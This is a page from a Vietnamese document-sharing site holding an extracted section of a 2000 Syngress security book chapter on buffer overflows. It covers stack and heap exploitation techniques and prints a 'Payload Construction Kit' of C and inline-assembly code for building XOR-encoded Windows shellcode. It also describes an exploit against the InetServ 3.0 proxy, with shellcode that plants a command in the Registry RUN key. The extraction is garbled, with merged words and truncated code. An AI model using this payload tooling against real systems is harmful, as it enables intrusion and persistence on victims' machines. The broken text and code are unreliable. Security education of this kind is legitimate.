1. Trang chủ
  2. » Công Nghệ Thông Tin

HACK PROOFING YOUR NETWORK INTERNET TRADECRAFT phần 6 potx

50 267 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Buffer Overflow
Trường học Syngress Publishing
Chuyên ngành Network Security
Thể loại Bài viết
Năm xuất bản 2000
Thành phố Not specified
Định dạng
Số trang 50
Dung lượng 158,19 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

When an attacker overflows a stack buffer, the overflow will often overwrite a value called the return address.. Usually theattacker is not concerned about the program, and simply wants

Trang 1

Normally, the processor executes code from the code segment of a program.

As the program makes function calls, the processor pushes data onto the

thread stack This stack serves as a temporary storage place for function

vari-ables and function addresses When an attacker overflows a stack buffer, the

overflow will often overwrite a value called the return address The buffer

over-flow will not only overwrite the return address, but can also overwrite almostall of the stack itself This, of course, causes the program to crash Usually theattacker is not concerned about the program, and simply wants to execute his

or her own code (called a payload) The payload is usually injected as part of

the buffer overflow itself, meaning that the code the attacker wants to execute

is written to the stack along with everything else So, the trick is to get the

processor’s instruction pointer to point to the attacker’s buffer There are

sev-eral ways to do this

Methods to Execute Payload

The following sections explain the variety of techniques that can be used toexexute payload

Direct Jump (Guessing Offsets)

The direct jump means that you have told your overflow code to jump directly

to a location in memory It uses no tricks to determine the true location of thestack in memory The downfall of this approach is twofold First, the address

of the stack may contain a NULL character, so the entire payload will need to

be placed before the injector If this is the case, it will limit the available size

for your payload Second, the address of your payload is not always going to bethe same This leaves you guessing the address you wish to jump to Thistechnique, however, is simple to use On UNIX machines, the address of thestack often does not contain a NULL character, making this the method ofchoice for UNIX overflows Also, there are tricks that make guessing the

address much easier (See No Operation (NOP) Sled later in the chapter.) Lastly,

if you place your payload somewhere other than on the stack, the direct jumpbecomes the method of choice

Blind Return.

The ESP register points to the current stack location Any ret instruction will

cause the EIP register to be loaded with whatever is pointed to by ESP This is

called popping Essentially the ret instruction causes the topmost value on the stack to be popped into EIP, and EIP now points to a new code address If the attacker can inject an initial EIP value that points to a ret instruction, the

value stored at ESP will be loaded into ESI Refer to Table 8.2 for a refresher

on the description of each register

A whole series of techniques use the processor registers to get back to thestack There is nothing you can inject into the instruction pointer directly thatwill cause a register to be used for execution as shown in Figure 8.6

Trang 2

Table 8.2 The Description for Each 32-Bit Register

80x86 32-Bit Register Name Description

Trang 3

Obviously, you must make the instruction pointer point to a real instruction as

shown in Figure 8.7

Pop Return

If the value on the top of the stack does not point to within the

attacker’s buffer, the injected EIP can be set to point to a series of pop tions, followed by a ret as shown in Figure 8.8 This will cause the stack to be

instruc-popped a number of times before a value is used for the EIP register Thisworks if there is an address near the top of the stack that points to within theattacker’s buffer The attacker just pops down the stack until the useful

address is reached This method was used in at least one public exploit forInternet Information Server (IIS) (See the listing for the IIS overflow exampleearlier in the chapter.)

RET or CALL EAX

Figure 8.7 The instruction pointer must point to a real instruction

Trang 4

77F7CEA7 FF D1 call ecx 77F94510 FF D1 call ecx 77F1B424 FF D3 call ebx 77F1B443 FF D3 call ebx

STACK

Popped Stack (gone)

Figure 8.8 Using a series of pops and a ret to reach a useful address

Trang 5

Offset is a term used primarily in local buffer overflows Since multiuser

machines are traditionally UNIX based, we have seen the word offset used a lot

in UNIX-based overflows On a UNIX machine, you typically have access to acompiler—and the attacker usually compiles his or her exploit directly on themachine he or she intends to attack In this scenario, the attacker has somesort of user account and usually wishes to obtain root The injector code for alocal exploit sometimes calculates the base of its own stack—and assumes thatthe program we are attacking has the same base For convenience, the

attacker can then specify the offset from this address to Direct Jump to If

Trang 6

everything works properly, the base+offset value will match between theattacking code and the victim code.

No Operation (NOP) Sled

If you are using a direct address when injecting code, you will be left with the

burden of guessing exactly where your payload is located in memory This is

next to impossible The problem is that your payload will not always be in theexact same place Commonly under UNIX, the same software package may berecompiled on different systems What works on one copy of the software maynot work on another So, to minimize this effect and decrease the required pre-cision of a smash, we use the NOP Sled The idea is simple A NOP is an

instruction that does nothing; it only takes up space It was originally createdfor debugging Since the NOP is only a single byte long, it is immune to theproblems of byte ordering and alignment issues

The trick involves filling our buffer with NOPs before the actual payload If

we incorrectly guess the address of the payload, it will not matter, as long as

we guess an address that lands somewhere on a NOP Since the entire buffer

is full of NOPs, we can guess any address that lands in the buffer Once weland on a NOP, we will begin executing each NOP We slide forward over all theNOPs until we reach our actual payload The larger the buffer of NOPs, theless precise we need to be when guessing the address of our payload

Off-by-One Struct Pointer

One technique for exploiting an off-by-one error occurs when an object pointer

is stored adjacent to your off-by-one buffer If the object pointer is storedBEFORE the stack buffer, you can overwrite the Least Significant Byte (LSB)(on Little Endian machines) of that pointer The best-case scenario is that theobject being pointed to has some sort of user-controlled buffer within it Youfirst dump your payload into that buffer, and then you alter the object pointer

so that your payload gets used for something it shouldn’t, such as a functionpointer The following code example demonstrates this method

// single_1.cpp : Defines the entry point for the console //application.

#include "stdafx.h"

#include <stdio.h>

#include <string.h>

struct xxx {

Trang 7

// since we can change the LSB of this ptr

// we can redirect to point to another HEAP

Dereferencing—Smashing the Heap

The following sections describe how to corrupt a pointer and trespass the heap

Corrupting a Function Pointer

The basic trick to heap overflows is to cause a function pointer to be rupted There are many ways to do this First, you can try to overwrite oneheap object from another neighboring heap Class objects and structs are oftenstored on the heap, so there can be many opportunities to do this The tech-

cor-nique is simple to understand and is called trespassing.

Trang 8

Trespassing the Heap

In this example, two class objects are instantiated on the heap A staticbuffer in one class object is overflowed, trespassing into another neigh-boring class object This trespass overwrites the virtual-function tablepointer (vtable pointer) in the second object The address is overwritten sothat the vtable address points into our own buffer We then place valuesinto our own trojan table that indicate new addresses for the class func-tions One of these is the destructor, which we overwrite so that when theclass object is deleted, our new destructor is called In this way, we can runany code we want to—we simply make the destructor point to our payload.The downside to this is that heap object addresses may contain a NULLcharacter, limiting what we can do We either must put our payload some-where that doesn’t require a NULL address, or pull any of the old stack ref-erencing tricks to get the EIP to return to our address The following codeexample demonstrates this method

// class_tres1.cpp : Defines the entry point for the console //application.

#include "stdafx.h"

#include <stdio.h>

#include <string.h>

class test1 {

class test1 *t1 = new class test1;

class test1 *t5 = new class test1;

class test2 *t2 = new class test2;

class test2 *t3 = new class test2;

Trang 9

C++ Objectmember variablesgrow down

C++ ObjectVTABLE PTR

C++ Objectmember variables

C++ ObjectVTABLE_vfptr

_destructor_functionXXX_functionYYY, etc

Figure 8.9 Trespassing the heap

Trang 10

Figure 8.9 illustrates the example The proximity between heap objectsallows you to overflow the virtual function pointer of a neighboring heap object.Once overwritten, the attacker can place a value that points back into the con-trolled buffer The attacker can build a new virtual function table in the con-trolled buffer The new table can then cause attacker-supplied code to executewhen one of the class functions is executed The destructor is a good function

to replace, since it is executed when the object is deleted from memory

Designing Payload

Payload is very important, and once the payload is being executed, there aremany tricks for adding functionality This can be one of the most rewardingand creative components of an exploit

Coding the Payload

I don’t believe in doing things the hard way Most of the exploits you see lished include wild blocks of unidentifiable machine code I don’t like this

pub-There is a far better way to encode payloads: simply write them in C, C++, orinline assembly, and then copy the compiled code directly into your payload.Integrating assembly and C is easy to do using most compilers—I call it the

Fusion Technique Let’s explore.

The Fusion Technique is just a simpler way to encode and compileassembly language and perform unconventional tricks One of these tricksinvolves injecting code into other process spaces Windows NT has establishedways to accomplish this if you’re an authenticated user on the system If youare not an authenticated user, you can accomplish this through a buffer over-flow Either way, you are injecting code into a remote process space

Injection Vector

The military has a concept of delivery and payload We can use the same

con-cept here When we talk about a buffer overflow, we talk about the injection vector and the payload The injection vector is the custom operational code

(opcode) you need to actually own the instruction pointer on the remotemachine This is machine dependent and target dependent The whole point ofthe injection vector is to get the payload to execute The payload, on the otherhand, is a lot like a virus The payload can work anywhere, anytime, regard-less of how it was injected into the remote machine If your payload does notoperate this way, it is not clean If you worked for the military writing bufferoverflows, they would want clean payloads Let’s explore what it takes to code

a clean payload

Trang 11

Location of Payload

Your payload does not have to be located in the same place as your injectionvector; commonly, it is just easier to use the stack for both When you use thestack for both payload and injection vector, you have to worry about the size ofpayload and how the injection vector interacts with the payload For example,

if the payload starts before the injection vector, you need to make sure theydon’t collide If they do, you have to include a jump in the payload to jumpover the injection code—then the payload can continue on the other side of theinjection vector If these problems become too complex, then you need to putyour payload somewhere else

Any program will accept user input and store it somewhere Any location inthe program where you can store a buffer becomes a candidate for storing apayload The trick is to get the processor to start executing that buffer

Some common places to store payloads include:

■ Files on disk which are then loaded into memory

■ Environment variables controlled by a local user

■ Environment variables passed within a Web request (common)

■ User-controlled fields within a network protocolOnce you have injected the payload, the task is simply to get the instruc-tion pointer to load the address of the payload The beauty of storing the payload somewhere other than the stack is that amazingly tight and difficult-to-use buffer overflows suddenly become possible For example, you are freefrom constraints on the size of the payload A single off-by-one error can still

be used to take control of a computer

The Payload Construction Kit

The following section and source code describes a method for building overflow attack payloads from within the Microsoft Visual C++ developmentenvironment This will enable you to manage the source code for attack pay-loads, alter and maintain them easily, and even test them from within thedebugger!

buffer-// BUFFERZ.cpp : Defines the entry point for the console buffer-//application

Trang 12

// These defines and strings are very important and control how the // payload will load functions dynamically.

//

// Define each function you will use as an offset from ebp

// After the payload runs, ebp will be pointing to the payload's // data segment

// so these offsets relate to how the jump table is being used.

//

////////////////////////////////////////////////////////////////////

// our jump table for preloaded functions // typically this is only LoadLibrary & GetProcAddress

// These are the first two addresses in our jump table.

#define GET_PROC_ADDRESS [ebp]

#define LOAD_LIBRARY [ebp + 4]

// our jump table for dynamically loaded functions // these can be anything we want

// just make sure we don't overlap

#define GLOBAL_ALLOC [ebp + 8]

#define WRITE_FILE [ebp + 12]

#define SLEEP [ebp + 16]

#define READ_FILE [ebp + 20]

#define PEEK_NAMED_PIPE [ebp + 24]

#define CREATE_PROC [ebp + 28]

#define GET_START_INFO [ebp + 32]

#define CREATE_PIPE [ebp + 36]

#define INTERNET_OPEN [ebp + 40]

#define INTERNET_CLOSE_H [ebp + 44]

#define INTERNET_OPEN_URL [ebp + 48]

#define INTERNET_READ_FILE [ebp + 52]

#define WSASTARTUP [ebp + 56]

#define _SOCKET [ebp + 60]

#define BIND [ebp + 64]

#define CONNECT [ebp + 70]

#define SEND [ebp + 74]

#define SELECT [ebp + 78]

#define RECV [ebp + 82]

#define URL_PTR [ebp + 86]

// (Continue in this pattern until done) // e \0 (Null DLL Name terminates loading cycle)

Trang 13

// f any additional data \0 data \0 data \0\0 (dbl NULL // terminated)

"InternetOpenA\0InternetCloseHandle\0" \ // double null terminates function list

// make sure all functions are static

#pragma check_stack( off )

////////////////////////////////////////////////////////////////////static declspec(naked) void before_all(void)

{

// this function is called first when the payload strikes

// buzz forward and try to find canary value

asm

{

//////////////////////////////////////////////////////////////////// // the payload must be decoded at this point If we were using an // encoded payload, we would insert the decoder code here

// note: the EB 00 00 00 00 (short call +0) which you see below

// (getting bearings) is not possible if NULL characters are

// disallowed, so the decoding loop cannot use this trick (errg! - ) // there must be a better way! (still doing research)

////////////////////////////////////////////////////////////////////

call RELOC RELOC: pop edi // get our bearings (our current eip)

sub esp, 3000 // get the stack out of the way

GET_DATA_SECTION:

Trang 14

// loop until we get to the data // section, as marked by the // canary value

//////////////////////////////////

inc edi // our bearing point cmp dword ptr [edi], -1

jne GET_DATA_SECTION add edi, 4 // we made it, get past canary itself mov esi, ebp // output ptr

GET_PRELOADED_FUNCTIONS:

//////////////////////////////////

// get pointers to preloaded // functions, based on checksum // of function name, uses // PE header's import table // -NULL DWORD terminates //////////////////////////////////

mov eax, dword ptr [edi]

// returns function addr in edi ////////////////////////////////////////

call build_rvas mov dword ptr [esi], edi // get the function address

pop edi

add esi, 4 add edi, 4

jmp GET_PRELOADED_FUNCTIONS

DONE_PRELOAD:

int 3 add edi, 4 // get past NULL

je LOAD_DATA // double NULL means done lea eax, [edi]// load DLL name

push eax call LOAD_LIBRARY cmp eax, 0

Trang 15

je ALL_DONE // not found error mov edx, eax // DLL handle

// load functions mov ecx, 10000 // max string length - whatever

NEXT_FUNCTION:

repne scas

je FUNCTION_DONE //done loading functions

call GET_PROC_ADDRESS

pop edx //restore DLL handle

cmp eax, 0 //missing functions, barf

int 3 xor eax, eax repne scas

cmp byte ptr [edi], 0

je ALL_DONE //done loading data

mov dword ptr [esi], edi //save ptr to data item add esi, 4

// downloads a file from anywhere on internet

// and executes it locally (not implemented

// in this payload)

Trang 16

static declspec(naked) void exec_remote_file() {

asm { ret } }

static declspec(naked) void _WSASTARTUP() {

asm { sub esp, 8

call WSASTARTUP add esp, 8

or eax, eax

ret } }

////////////////////////////////////////////////

// lookup function ptr based on checksum // - argument (checksum) passed in edi // - returns function ptr in edi ////////////////////////////////////////////////

static declspec(naked) void build_rvas() {

asm {

add ecx, 0x00400004 // beginning of COFF header, fill in data

lea eax, [ecx + 0x14] // optional header offset mov esi, [eax + 68h] // offset to idata data directory add esi, 0x00400000 // make a real address (offset + base)

NEXT_DLL:

// esi holds data directory offset - the 'DIRECTORY'

mov eax, [esi] // RVA of Import Lookup Table - the 'LOOKUP' cmp eax, 0 // zero means end of table

je DONE_LOADING add eax, 0x00400000 // make real address mov edx, [esi + 16] // RVA of 'THUNK' table add edx, 0x00400000 // make real address

Trang 17

// we are here if this table has ascii names

add ebx, 0x00400000 // RVA of 'HINT' - make real address

// function lookup by checksum add ebx, 2 // skip first 2 bytes

xor ecx, ecx

add edx, 4 // next entry in 'THUNK' table

add eax, 4 // next entry in import table

cmp [eax], 0 // zero means end of table

jnz NEXT_FUNCTION // drop thru to next DLL if we have no

//more functions

SKIP_ORDINAL:

add esi, 20 // 20 bytes to next entry in table

mov edx, [eax] // pointing to 'LOOKUP'

cmp edx, 0 // zero means end of 'LOOKUP' table - //goto next DLL

jne NEXT_DLL

DONE_LOADING:

pop esi pop edx pop ecx pop ebx pop eax

ret }

}

// a housekeeping bookmark so we can calculate code size

declspec(naked) static void after_all()

{

asm

Trang 18

ret }

}

// [ END PAYLOAD ] ////////////////////////////////////////////////////////////////////

#pragma check_stack

////////////////////////////////////////////////////

// the following functions are used by our local program to // set up the payload and such - they are not part of // our actual payload code.

xor eax, eax mov esi, p ALOOP:

xor al, byte ptr [esi]

rol eax, 8 inc esi cmp byte ptr [esi], 0 jne ALOOP

mov dword ptr [aChecksum], eax }

*(thePayload++) ^= theEncodeByte;

} }

#define number_of_import_functions 3 BOOL fDebug = FALSE;

int cdecl main(int argc, char* argv[]) {

printf("The Payload is Coming!\n");

Trang 19

{ case 'd':

case 'D':

// debug mode fDebug = TRUE;

break;

} }

/////////////////////////////////////////////////////////// // calculate code segment length by subtracting the

// difference of two function addresses.

void *code_segment = (void *) before_all;

void *after_code_segment = (void *) after_all;

unsigned long code_len = (long)after_code_segment (long)code_segment;

-/////////////////////////////////////////////////////////// // add a data segment to the end of our buffer

//

/////////////////////////////////////////////////////////// char *data_segment;

unsigned long data_len = (sizeof(DWORD) * (number_of_import_functions + 1)) + 100;

/////////////////////////////////////////////////////////// // the actual code is copied from code segment and into

// our new buffer here

//

/////////////////////////////////////////////////////////// char *aPayload = new char[code_len + data_len];

char *aCursor = aPayload;

/////////////////////////////////////////////////////////// // header for getting bearings w/o using a NULL character

char bearing_code[] = "\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF";

memcpy(aCursor, bearing_code, strlen(bearing_code));

aCursor += strlen(bearing_code);

///////////////////////////////////////////////////////////////// // now the code to XOR decode everything

// translates to:

// mov eax, ebp

Trang 20

// add eax, OFFSET (see offset below) /////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////

// xor ecx, ecx // mov cx, SIZE /////////////////////////////////////////////////////////////////

char xor_decode2[] = "\x33\xC9\x66\xB9";

unsigned short aSize = code_len + data_len;

memcpy(aCursor, xor_decode2, strlen(xor_decode2));

// this completes the decoding header - everything else is // fusion!

/////////////////////////////////////////////////////////////////

char xor_decode3[] = "\x80\x30\xAA\x40\xE2\xFA";

memcpy(aCursor, xor_decode3, strlen(xor_decode3));

Trang 21

// GetChecksum calculates a checksum of a string This

// checksum is 4 bytes long It will be recognized by our

// payload when loading functions from the import table

// of the target process.

//

// NOTE: casting of DWORD type results in increments of 4

// bytes in ptr arithmetic.

///////////////////////////////////////////////////////////

*((DWORD *)curr+0) = 0xFFFFFFFF; //canary value

*((DWORD *)curr+1) = GetChecksum("GetProcAddress");

*((DWORD *)curr+2) = GetChecksum("LoadLibraryA");

*((DWORD *)curr+3) = NULL; //

memcpy(((DWORD *)curr+4), (char *)data, 100);

///////////////////////////////////////////////////////////////// // encode our payload for delivery (remove NULL characters)

// 'AA' is hardcoded in decoder above, so encode with it here // too.

///////////////////////////////////////////////////////////////// encode_payload( aCursor, code_len + data_len, '\xAA');

// overflow ourselves as a test

// functions are never instantiated in the code segment

// unless the compiler thinks they get called at least once

// for testing the payload on the stack (no injection vector)

void test_me(char *input_ptr, int call_offset)

asm mov eax, i

asm call eax

}

Trang 22

The Payload Construction Kit is very useful for building Windows NT-basedexploits When in the Microsoft DevStudio environment, you can easily stepthrough your payload code The preceding code already has many of the fea-tures you would want in a payload, including XOR protection, a hashingloader, and a dynamic jump-table.

Getting Bearings

Once your code is executing, it may need to find out where it is located inmemory This can be accomplished with a few assembly instructions This isrequired to figure out how to load any data segments that you have passedalong with the payload Generally, this is the first thing your payload will do.When your overflow payload is delivered, you may not know exactly whereyour buffer is resting in memory since it can vary There is a very basic way tofind out where you are living in memory:

// YEP: pop ebp // jmp OVER // call YEP // OVER: ;decoder goes here

You cause your injector to start execution at the “call YEP” instruction(translates to a short jump) In this way, once the bearing code has executed,the EBP register has the current location in memory The other advantage tothis code is that it translates as a reverse short jump—the end result of this isthat there are no NULL bytes in the instruction code (which would clearly be aBad Thing)

Finding the DATA Section, Using a Canary

Next, the payload fast-forwards past all the instruction code in search of itsDATA payload It makes the most sense to place this at the end of the buffer.The canary value, in this case, is 0xFFFFFFFF This is chosen because it isunlikely to see this value in the code part

GET_DATA_SECTION:

//////////////////////////////////

// loop until we get to the data // section, as marked by the // canary value

//////////////////////////////////

inc edi // our bearing point cmp dword ptr [edi], -1

jne GET_DATA_SECTION add edi, 4 // we made it, get past canary itself mov esi, ebp // output ptr

GET_PRELOADED_FUNCTIONS:

Now the ESI register holds a reference to our DATA This enables us to go

on to the next step, which is XOR decoding our DATA buffer

Trang 23

Encoding Data

Data and code that are passed along with the payload usually must not tain any NULL characters To this end, a payload often needs to be encoded sothat no NULL characters are present The payload can later be decoded intosomething useful

con-XOR Protection

Many of our opcodes will contain NULL bytes, so we cannot send the code in itsraw form—doing so would inject a deadly NULL character into our byte stream,thereby rendering our payload useless The solution is to encode the bytestream so that no NULL characters are present, and then write a small

decoding loop The decoding loop brings the exploit back to life once it has beeninjected into the server Note that the ECX register is first loaded with the size

of the array we are about to decode The loop instruction uses the value in ECX

to automagically loop that number of times Also of note: In the example code, Ihave chosen the byte 0xAA to XOR the data with It is important to choose anXOR byte that will not result in the production of NULL or filtered characters.xor ecx, ecx

mov cx, SIZE

LOOPA: xor [eax], 0xAA

inc eax

loop LOOPA

Using What You Have—Preloaded Functions

Processes under Windows NT are loaded into memory using a format calledPortable Executable (PE) The PE format includes a header portion The PEheader specifies data about the process such as resources used, importedfunctions, and exported functions (in the case of a Dynamic Link Library(DLL)) For payload purposes, we will be primarily interested in the importedfunctions Because our payload is executing within the process space, we haveaccess to all of the imported functions the process is currently using Withoutdoing anything special, we could simply call any of the preloaded functions.Many times, this can be a gold mine of functions The import table usuallyincludes functions that will modify the system Registry, create and alter files,and even use the Winsock TCP/IP library

There are two ways to use preloaded functions The easiest of all is to hardcode the address of the call This can be good for one reason: It’s simple and itdoesn’t take up much space All you need to do is call an address The fol-lowing example illustrates this technique of hard-coding the function

addresses In this case, the functions are Windows-NT Registry calls

Trang 24

Hard-Coding Example

After downloading a copy of InetServ 3.0—a proxy server for Windows NT—Istarted testing a single remotely addressable function of the software: a Web ser-vice In less than one minute, my automated testing software had already

located a buffer overflow It appeared that an HTTP GET request with a 537-bytepath would own EIP (in other words, allow me to control the remote processor).The fact that the GET request causes an overflow is far from noteworthy

What is worth talking about is the payload I designed for this exploit One of themost common things a payload does is open a remote shell Some hosts haveintrusion detection system (IDS) software that prevents remote shells fromworking easily The payload in this example does not open a remote shell; rather,

it shares all of your hard drives without a password, and does this withoutlaunching a single subprocess or even loading any new functions We are going toattack the NT Registry through functions already loaded into the process space Most processes have useful functions already loaded into address space

Using Windows Disassembler (WDASM) and VC++, I was able to find thememory location of the following functions:

Name: Jump Table: Actual (NTServer 4.0 SP3) ADVAPI32.RegCloseKey [43D004] 77DB75A9

ADVAPI32.RegCreateKeyExA [43D008] 77DBA7F9 ADVAPI32.RegOpenKeyExA [43D00C] 77DB851A ADVAPI32.RegQueryValueExA [43D010] 77DB8E19 ADVAPI32.RegSetValueExA [43D000] 77DBA979

Since we cannot be assured where the location of ADVAPI32.DLL will bemapped, we simply use the jump table itself, which will be loaded in the samelocation regardless In order to prevent NULL characters, I XOR my data areawith 0x80 The payload first decodes the data area, and then calls the fol-lowing functions in order to add a value to the windows RUN key:

RegOpenKeyEx();

RegSetValueEx();

In order to avoid NULLs, I used an XOR between registers:

mov eax, 77787748 mov edx, 77777777 xor eax, edx push eax

followed later only by:

mov eax, 0x77659BAe xor eax, edx

push eax

These values translate to addresses in the local area that require a NULLcharacter; hence, the XOR The value in the example is merely “cmd.exe /c”

with no parameters You could easily alter this to add a user to the system, or

to share a drive For script kiddie purposes, you will get nothing here—you’ll

Trang 25

need to alter the cmd.exe string and alter the size variable in the decode loop(shown here set to 0x46):

xor ecx, ecx

mov ecx, 0x46

LOOP_TOP:

dec eax

xor [eax], 0x80 dec ecx

jnz LOOP_TOP (75 F9)

Once this runs, check your Registry and you’ll find the value in question.The value will be executed upon the next reboot Incidentally, this is a verycommon way for network worms to operate The only snag when using anHTTP request is that there are some characters that are filtered or special—you must avoid these This limits which machine instructions you can

directly inject; however, there are always ways to get around such problems

In conclusion, I merely am trying to demonstrate that there are many things

a buffer overflow can do besides create a shell or download a file—and manyforms of host-based IDS will not notice this Now, clearly, the RUN key is acommon place for security-savvy people to look, but it could have easily beensomething else more esoteric The following code example demonstrates thismethod

//sub al, 0xFF //rol eax, 0x018 //mov ebx, eax

"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \ // xor ecx, ecx

// mov ecx, 0x46 //LOOP_TOP:

// dec eax // xor [eax], 0x80 // dec ecx

// jnz LOOP_TOP (75 F9)

Ngày đăng: 14/08/2014, 04:21